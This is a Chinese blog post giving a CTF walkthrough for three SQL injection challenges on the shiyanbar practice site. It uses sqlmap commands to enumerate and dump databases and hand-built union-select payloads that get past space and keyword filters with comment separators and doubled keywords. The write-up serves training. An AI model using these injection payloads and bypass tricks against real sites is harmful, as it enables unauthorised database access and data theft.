• 实验吧-web 简单的sql注入(合集,答案是一样的--_--)


    简单的sql注入3

    链接:http://ctf5.shiyanbar.com/web/index_3.php

    输入1,页面显示hello,输入1',页面报错

    尝试一下用sqlmap跑,没想到就跑出来了     O(∩_∩)O哈哈~

    sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs

    猜测在数据库web1里面

    sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

    明显在表flag里面

    sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

    就在此段flag里面了

    sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

    简单的sql注入2

    链接:http://ctf5.shiyanbar.com/web/index_2.php
    试着先输入1,再输入1',页面报语法错误,再输入1 '页面出现SQLi detected!,推出空格被它过滤了

    接下来有两种方法:用sqlmap或者手注

    先手注

    过滤的空格可以用/**/代替,查询当前数据库的表

    '/**/or/**/id=4/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

    猜测在flag表里面

    下面用sqlmap进行注入

    sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs

    sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --tables -D web1

    sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1

    sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1

    3.简单的SQL注入

    链接:http://ctf5.shiyanbar.com/423/web/

    这道题也是sql注入,输入1,页面显示正常,输出1',页面报错

    之后通过输入查表字段,发现union select 被过滤了,这是想到用两个union表示

    重复输入union select后发现空格也被过滤了,继续用两个空格代替一个空格

    1.查询当前数据库

    1'  unionunion  selectselect  database()'

    2.查询数据库中的表

    1'  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1

    3.查询字段名

    1' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.coluinformation_schema.columnsmns  wherewhere  table_name='flag

    4.最后构造出1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1

  • 相关阅读:
    ios-UserDefaults
    ios-滚动视图滚动取消键盘
    ios-获取商店已上线app信息
    ios-WKWebView 拨打电话
    ios-获取通讯录 姓名和电话
    ios-model数据结构
    ios-改变button四个角的弧度
    ios-高德、百度后台定位并上传服务器
    ios-系统警告框 跳转到设置里面
    Java精讲:生产者-消费者
  • 原文地址:https://www.cnblogs.com/baifan2618/p/7762666.html
Copyright © 2020-2023  润新知